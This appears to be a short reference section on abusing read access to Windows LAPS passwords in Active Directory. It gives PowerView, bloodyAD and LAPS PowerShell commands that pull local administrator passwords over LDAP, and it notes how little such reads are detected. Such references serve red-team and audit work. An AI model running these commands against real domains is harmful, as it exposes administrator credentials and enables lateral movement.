Abuse Info

 Plaintext attributes can be read using a simple LDAP client. For example, with PowerView: 
Get-DomainComputer "MachineName" -Properties "cn","ms-mcs-admpwd","ms-mcs-admpwdexpirationtime"
 On Linux, using bloodyAD: 
bloodyAD --host $DC_IP -d $DOMAIN -u $USER -p $PASSWORD get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
 Encrypted attributes can be decrypted using Microsoft’s LAPS PowerShell module. For example: 
Get-LapsADPassword "WIN10" -AsPlainText
The encrypted attributes can also be retrieved and decrypted using lapsv2decrypt (dotnet or BOF).

​
Opsec Considerations

Reading properties from LDAP is extremely low risk, and can only be found using monitoring of LDAP queries.
